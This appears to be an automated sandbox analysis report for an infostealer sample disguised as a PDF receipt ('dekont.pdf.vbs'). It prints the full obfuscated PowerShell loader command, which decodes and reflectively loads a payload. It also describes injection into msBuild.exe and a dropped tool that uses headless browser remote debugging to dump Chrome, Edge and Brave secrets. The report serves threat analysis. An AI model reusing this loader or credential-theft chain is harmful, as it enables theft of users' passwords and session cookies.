Analysis

  • max time kernel
    300s
  • max time network
    143s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260706-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260706-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    09/07/2026, 12:20

General

  • Target
    dekont.pdf.vbs
  • Size 14.5MB
  • Sample260709-ph86xaas6l
  • SHA256 959e842a149e5107ea007b3bf307cac4f03d235a220258f50a4d85e9f69be089
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Uses browser remote debugging 2 TTPs 2 IoCs

    Can be used control the browser and steal sensitive information such as credentials and session cookies.

  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 2 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses Microsoft Outlook profiles 1 TTPs 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Enumerates system info in registry 2 TTPs 4 IoCs
  • Suspicious behavior: EnumeratesProcesses 21 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 10 IoCs
  • outlook_office_path 1 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\dekont.pdf.vbs"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2976
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$s=$env:P1+$env:P2+$env:P3+$env:P4+$env:P5+$env:P6+$env:P7+$env:P8+$env:P9+$env:P10+$env:P11+$env:P12;$b=[Convert]::FromBase64String($s);$ms=New-Object IO.MemoryStream(,$b);$gs=New-Object IO.Compression.GZipStream($ms,[IO.Compression.CompressionMode]::Decompress);$rs=New-Object IO.MemoryStream;$gs.CopyTo($rs);[Reflection.Assembly]::Load($rs.ToArray())|Out-Null;[OtnmpxnddVnptbN.mpxnddVn]::Otnmpxn('+R8VoxF1EItzFADxPm6zUS4PYv43pdzU4GlPzUE8O5m5lYDtKslJ7C22d0xVv4BroA6fcjZyY76n81wFAfepyA==','','ok93OCjVDptcCezKX8eltkp1K28SJgH1BC+oZ6ENDpIQpXz40QzPnThirbLxNt69','iT+EevM4Kjj9V7lqz4RJwYvLFRobpTKUY9A6DigWE9s=','7aM+XPqW50/clx+EELCfYyzWzGcqZhXDItoQxLy9xmo=','','5j7knKKkNUn3BxcUVPwmM70HqZjesp2uzjVtisTEPpw=','','w8y+KN3PRC3Qzq1rVPhF8B/SxOt3dqT6d4LxTu0OFjk=','RboeOD/3DKeis4ep/952OQFniZzXCYnypHt1AXjErIyqT2NTmV7g9thA0g/VeUEA','/esxW+1SryeeqdMU9eICr4RKy7WxmRt+8H3OhYItnDs=','T2rZrkpt6jX7V1/gzJcdD86pa+AGVAzrlhFOPfKw6vU=','XsVcUSyqPtBvG8xsTHOLpso4gk+aSGdySIXN7m2DT7M=','','tvvBwUQxah8RpLeVajj3ZbZghiT6f8vp26gHEEO0o1Y=','ZgHEhnSNeRb6ZMrWZy9KEQqeKiNmT4UR/TNAKK3EVlk=','','','')"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3184
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$s=$env:P1+$env:P2+$env:P3+$env:P4+$env:P5+$env:P6+$env:P7+$env:P8+$env:P9+$env:P10+$env:P11+$env:P12;$b=[Convert]::FromBase64String($s);$ms=New-Object IO.MemoryStream(,$b);$gs=New-Object IO.Compression.GZipStream($ms,[IO.Compression.CompressionMode]::Decompress);$rs=New-Object IO.MemoryStream;$gs.CopyTo($rs);[Reflection.Assembly]::Load($rs.ToArray())|Out-Null;[OtnmpxnddVnptbN.mpxnddVn]::Otnmpxn('+R8VoxF1EItzFADxPm6zUS4PYv43pdzU4GlPzUE8O5m5lYDtKslJ7C22d0xVv4BroA6fcjZyY76n81wFAfepyA==','','ok93OCjVDptcCezKX8eltkp1K28SJgH1BC+oZ6ENDpIQpXz40QzPnThirbLxNt69','iT+EevM4Kjj9V7lqz4RJwYvLFRobpTKUY9A6DigWE9s=','7aM+XPqW50/clx+EELCfYyzWzGcqZhXDItoQxLy9xmo=','','5j7knKKkNUn3BxcUVPwmM70HqZjesp2uzjVtisTEPpw=','','w8y+KN3PRC3Qzq1rVPhF8B/SxOt3dqT6d4LxTu0OFjk=','RboeOD/3DKeis4ep/952OQFniZzXCYnypHt1AXjErIyqT2NTmV7g9thA0g/VeUEA','/esxW+1SryeeqdMU9eICr4RKy7WxmRt+8H3OhYItnDs=','T2rZrkpt6jX7V1/gzJcdD86pa+AGVAzrlhFOPfKw6vU=','XsVcUSyqPtBvG8xsTHOLpso4gk+aSGdySIXN7m2DT7M=','','tvvBwUQxah8RpLeVajj3ZbZghiT6f8vp26gHEEO0o1Y=','ZgHEhnSNeRb6ZMrWZy9KEQqeKiNmT4UR/TNAKK3EVlk=','','','')"
    1⤵
    • Process spawned unexpected child process
    • Badlisted process makes network request
    • Command and Scripting Interpreter: PowerShell
    • Suspicious use of SetThreadContext
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4608
    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\msBuild.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\msBuild.exe"
      2⤵
      • Accesses Microsoft Outlook profiles
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      • outlook_office_path
      PID:2336
      • C:\Users\Admin\AppData\Local\Temp\DumpBrowserSecrets.exe
        "C:\Users\Admin\AppData\Local\Temp\DumpBrowserSecrets.exe" /b:chrome /b:edge /b:brave /e:all
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:1724
        • C:\Program Files\Google\Chrome\Application\chrome.exe
          "C:\Program Files\Google\Chrome\Application\chrome.exe" --headless=new --disable-gpu --remote-debugging-port=9222 --disable-background-timer-throttling
          4⤵
          • Uses browser remote debugging
          • Loads dropped DLL
          • Enumerates system info in registry
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:2436
          • C:\Program Files\Google\Chrome\Application\chrome.exe
            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\HeadlessChrome2436240756109 /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\HeadlessChrome2436240756109\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Temp\HeadlessChrome2436240756109 --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x210,0x214,0x218,0x20c,0x21c,0x7ffab40cc728,0x7ffab40cc734,0x7ffab40cc740
            5⤵
              PID:6008
          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --headless=new --disable-gpu --remote-debugging-port=9222 --disable-background-timer-throttling
            4⤵
            • Uses browser remote debugging
            • Loads dropped DLL
            • Enumerates system info in registry
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:6024
            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\HeadlessEdge6024240756484 /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\HeadlessEdge6024240756484\Crashpad --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x330,0x334,0x338,0x32c,0x340,0x7ffab3cac188,0x7ffab3cac194,0x7ffab3cac1a0
              5⤵
                PID:4488
      • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
        "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
        1⤵
          PID:2072
        • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
          "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
          1⤵
            PID:4812
          • C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
            "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
            1⤵
              PID:252

            Network

                  MITRE ATT&CK Enterprise v16

                  Replay Monitor

                  Loading Replay Monitor...

                  Downloads

                  StartupProfileData-NonInteractive

                  • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                  • Size 1KB
                  • SHA256 444d000751aae10eb0f8d1f007aabc26a6b75a261238397be06a99cac24b8c39
                  • MD5 SHA1 SHA512 TLSH

                  ChromeData.json

                  • Path C:\Users\Admin\AppData\Local\Temp\ChromeData.json
                  • Size 322B
                  • SHA256 fabb998345291d66c170a3afcb7b249684d68493b0284ecd5c696d3588102cae
                  • MD5 SHA1 SHA512 TLSH

                  DllExtractChromiumSecrets.dll

                  • Path C:\Users\Admin\AppData\Local\Temp\DllExtractChromiumSecrets.dll
                  • Size 45KB
                  • SHA256 b0935270bc8ed6d31c5352c49a8f5d7cbe62457133fe1cf7effeeeb1440e9ce0
                  • MD5 SHA1 SHA512 SSDEEP TLSH

                  DumpBrowserSecrets.exe

                  • Path C:\Users\Admin\AppData\Local\Temp\DumpBrowserSecrets.exe
                  • Size 381KB
                  • SHA256 c934a2db58a1a64ee245a7627843508c6c517fcb06ea6855d26a72b41ae6753b
                  • MD5 SHA1 SHA512 SSDEEP TLSH

                  EdgeData.json

                  • Path C:\Users\Admin\AppData\Local\Temp\EdgeData.json
                  • Size 429B
                  • SHA256 cc65fd7cb75f7f83428e67dc3d8e5285cacd925f3073905ed64b1416a088e52f
                  • MD5 SHA1 SHA512 TLSH

                  settings.dat

                  • Path C:\Users\Admin\AppData\Local\Temp\HeadlessEdge6024240756484\Crashpad\settings.dat
                  • Size 280B
                  • SHA256 f2b1441e76554096e226b495d336fa903ad07ef2a38a684b16808fa315b7928e
                  • MD5 SHA1 SHA512

                  throttle_store.dat

                  • Path C:\Users\Admin\AppData\Local\Temp\HeadlessEdge6024240756484\Crashpad\throttle_store.dat
                  • Size 20B
                  • SHA256 41c91a9c93d76295746a149dce7ebb3b9ee2cb551d84365fff108e59a61cc304
                  • MD5 SHA1 SHA512

                  memory/2336-66-0x0000000008380000-0x0000000008412000-memory.dmp

                  memory/2336-61-0x0000000006FF0000-0x00000000071B2000-memory.dmp

                  memory/2336-63-0x00000000076F0000-0x0000000007C1C000-memory.dmp

                  memory/2336-65-0x0000000006EA0000-0x0000000006F16000-memory.dmp

                  memory/2336-37-0x0000000006460000-0x0000000006A1A000-memory.dmp

                  memory/2336-67-0x0000000008310000-0x000000000831A000-memory.dmp

                  memory/2336-38-0x0000000005F10000-0x0000000005F76000-memory.dmp

                  memory/2336-32-0x0000000000400000-0x00000000004C0000-memory.dmp

                  memory/3184-18-0x00007FFAB3730000-0x00007FFAB40D4000-memory.dmp

                  memory/3184-20-0x00007FFAB3730000-0x00007FFAB40D4000-memory.dmp

                  memory/3184-21-0x00007FFAB3730000-0x00007FFAB40D4000-memory.dmp

                  memory/3184-22-0x00007FFAB3730000-0x00007FFAB40D4000-memory.dmp

                  memory/3184-23-0x00007FFAB3730000-0x00007FFAB40D4000-memory.dmp

                  memory/3184-24-0x00007FFAB3730000-0x00007FFAB40D4000-memory.dmp

                  memory/3184-25-0x00007FFAB3730000-0x00007FFAB40D4000-memory.dmp

                  memory/3184-19-0x00007FFAB3730000-0x00007FFAB40D4000-memory.dmp

                  memory/3184-36-0x00007FFAB3730000-0x00007FFAB40D4000-memory.dmp

                  memory/3184-28-0x00007FFAB3730000-0x00007FFAB40D4000-memory.dmp

                  memory/3184-29-0x00007FFAB3730000-0x00007FFAB40D4000-memory.dmp

                  memory/3184-31-0x00007FFAB3730000-0x00007FFAB40D4000-memory.dmp

                  memory/3184-68-0x00007FFAB3730000-0x00007FFAB40D4000-memory.dmp

                  memory/4608-15-0x00007FFAB3730000-0x00007FFAB40D4000-memory.dmp

                  memory/4608-35-0x00007FFAB3730000-0x00007FFAB40D4000-memory.dmp

                  memory/4608-27-0x0000020EF1C50000-0x0000020EF1C5A000-memory.dmp

                  memory/4608-26-0x0000020EF2140000-0x0000020EF21F4000-memory.dmp

                  memory/4608-17-0x00007FFAB3730000-0x00007FFAB40D4000-memory.dmp

                  memory/4608-16-0x00007FFAB3730000-0x00007FFAB40D4000-memory.dmp

                  memory/4608-0-0x00007FFAB38BF000-0x00007FFAB38C0000-memory.dmp

                  memory/4608-14-0x00007FFAB3730000-0x00007FFAB40D4000-memory.dmp

                  memory/4608-12-0x00007FFAB3730000-0x00007FFAB40D4000-memory.dmp

                  memory/4608-13-0x00007FFAB3730000-0x00007FFAB40D4000-memory.dmp

                  memory/4608-11-0x00007FFAB3730000-0x00007FFAB40D4000-memory.dmp

                  memory/4608-10-0x00007FFAB3730000-0x00007FFAB40D4000-memory.dmp

                  memory/4608-7-0x00007FFAB3730000-0x00007FFAB40D4000-memory.dmp

                  memory/4608-6-0x0000020EF1C20000-0x0000020EF1C42000-memory.dmp

                  memory/4608-3-0x00007FFAB3730000-0x00007FFAB40D4000-memory.dmp

                  memory/4608-2-0x00007FFAB3730000-0x00007FFAB40D4000-memory.dmp

                  memory/4608-1-0x00007FFAB3730000-0x00007FFAB40D4000-memory.dmp